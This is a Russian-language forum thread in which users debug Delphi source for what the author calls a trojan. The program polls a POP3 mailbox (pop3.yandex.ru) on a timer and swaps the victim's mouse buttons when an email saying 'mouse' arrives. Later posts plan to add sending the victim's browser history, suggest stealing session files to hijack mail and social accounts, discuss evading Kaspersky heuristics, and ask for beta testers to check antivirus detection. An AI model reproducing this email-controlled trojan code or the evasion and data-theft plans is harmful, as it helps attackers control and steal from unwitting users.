type
TForm1 = class(TForm)
Timer1: TTimer;
IdPOP31: TIdPOP3;
IdMessage1: TIdMessage;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
function UpMessage: longint;
end;
var
Form1: TForm1;
msgCount, i: integer;
implementation
{$R *.dfm}
{ TForm1 }
function TForm1.UpMessage: longint;
begin
idpop31.Connect;//конектимся с сервером
msgCount:=idpop31.CheckMessages;//узнаём кол-во сообщений
if msgCount>0 then
begin
for i:=1 to msgCount do
begin
idmessage1.Clear;// очищаем от предыдущих записей
idpop31.Retrieve(i,idmessage1);//начинаем приём сообщений
if idmessage1.Body.Text<>'mouse' then //Сама проблема! если вместо "<>" поставит "=" то не работает!
SwapMouseButton(true);
idpop31.Disconnect;
end
end
else
idpop31.Disconnect;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
UpMessage;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
UpMessage;
end;
end.
Сообщение отредактировал Del - Среда, 22.08.2012, 16:04
ну ты даешь XSPY вобще то на сколько я знаю в исключениях if перед then не пишется " : " перед равенством или неравенством значения...!!!
Del у тебя в коде:
Code
if idmessage1.Body.Text<>'mouse' then //Если тело письма НЕ РАВНО 'mouse' то...
//другими словами если в теле письма нету текста 'mouse' то выполнить след. код...
//а если поставить знак '=' и отправить письмо с текстом 'mouse' то так же выполнится след. код...
SwapMouseButton(true);
idpop31.Disconnect;
end
а если ты используешь свой знак '<>' то при отправке письма с текстом 'mouse' естественно у тебя код работать не будет, банальная ошибка!
Сообщение отредактировал xXxSh@dowxXx - Четверг, 23.08.2012, 00:36
if idmessage1.Body.Text<>'mouse' then //Если тело письма НЕ РАВНО 'mouse' то...
//другими словами если в теле письма нету текста 'mouse' то выполнить след. код...
В том то и дело, что в письме есть "мышь" а он считает, что её нет!
И или я не так понял?
P.S. Кстати, а как программно можно удалить сообщение из почтового ящика?
Quote (XSPY)
Del, а может надо не не "=" а ":="
Оператор присваивания?
Сообщение отредактировал Del - Четверг, 23.08.2012, 13:46
Del че та я сразу даже весь код то и не смотрел, а к какому серверу ты вобще конектишься, если к почт. ящику, то где у тебя тогда логин - пароль?
странный код конечно...
Del Вобщем меня самого заинтересовал вопрос, почему же все таки не работает код через
Code
idMessage1.Body.Text = 'mouse'
Убил на поиск ошибки пол дня и все таки нашел в чем проблема!!!
Оказалось что поля сообщения в почтовом ящике несколько расширены чем это может показаться на первый взгляд, то есть, по сути текст в теле письма на почтовом ящике выглядит так:
Code
'mouse
'
для наглядности отметил текст в ковычки...
так вот, а ты пытаешься сравнивать то что получает idMessage1.Body.Text с вот этим 'mouse', в то время как текст в idMessage1 будет как минимум на два переноса больше, почему я говорю переноса а не два пробела, потому что проведя пару тестов такого плана:
Code
if idMessage1.Body.Text = 'mouse ' then
естественно ничего не сработало, так как там именно перенос строки а не пробелы...
PS: Данную проблему я смог решить только с помощью Memo1, ведь в коде просто так перенос не паставишь, а в поле Мемо запросто...
Вот рабочий код!!!!
Держи...
Code
procedure TForm1.Button1Click(Sender: TObject);
var
n,k: integer;
begin
idpop31.Host:='pop3.yandex.ru';
idpop31.Port:=110;
idpop31.Username:='login';
idpop31.Password:='pass';
idpop31.Connect; //конектимся с сервером
if idpop31.Connected = true then
begin
showmessage('Connected');
idpop31.CheckMessages;
n:= idpop31.CheckMessages;
Edit1.Text:= IntToStr(n);
if n > 0 then
begin
for k:=1 to n do
begin
idMessage1.Clear;
idpop31.Retrieve(k,idMessage1);
if idMessage1.Body.Text = Memo1.Lines.Text then
begin
showmessage('MOUSE OK');
end
else
begin
showmessage('dont mouse');
end;
end;
end
else
begin
showmessage('сообщений нет, или почта пуста');
end;
end
else
begin
showmessage('offline');
end;
idpop31.Disconnect;
end;
Кстати забыл напомнить, не забудьте в текстовом поле Memo1 параметр должен быть указан с 2мя переносами, что бы сработало, вот таким вот образом:
Code
'mouse
'
!!!ТОЛЬКО БЕЗ КОВЫЧЕК!!!
Сообщение отредактировал xXxSh@dowxXx - Пятница, 24.08.2012, 12:05
думаю вставить функцию чтобы троян отсылал историю браузера
Имеете ввиду историю посещений сайтов,журнал браузера?, так какой в нем прок, если Вы все равно не зайдете на те ресурсы пользователя где требуется аутентификация (ввод логина и пароля), так как сессия будет мертва, если только не спереть файл сессии, тогда если пользователь полный "ЛАМЕР", можно увести все его почтовые адреса, странички соц сетей и тд.
Кто согласится проверить beta версию трояна на палевность антивирусами?
Сразу тебе скажу даже без проверки, последний Каспер эвристикой палит любой коннект неизвестного приложения на удаленный ресурс, в том числе почтовые сервисы, так что с Каспером точно не сработает!
тяжеловато будет, сам пытался его обойти, с каждым новым обновлением все сложнее, эвристика слишком предирчивая у него, да же к некоторому лицензионному ПО.
у меня получилось обойти предыдущую версию каспера, за 2011 год, а новый 2012 исправили и теперь мои отмычки уже не работают
а что касается других АВ, то многие просто сигнатурно проверяют, не зацикливаясь на эвристическом анализе,какие то можно обойти, тем более что твоя программа ничего особо противоречивого не делает, с точки зрения АВ анализа...
Сообщение отредактировал xXxSh@dowxXx - Пятница, 24.08.2012, 13:11
а что касается других АВ, то многие просто сигнатурно проверяют, не зацикливаясь на эвристическом анализе,какие то можно обойти, тем более что твоя программа ничего особо противоречивого не делает, с точки зрения АВ анализа...
Доверять, но проверять. Кому не трудно обращайтесь.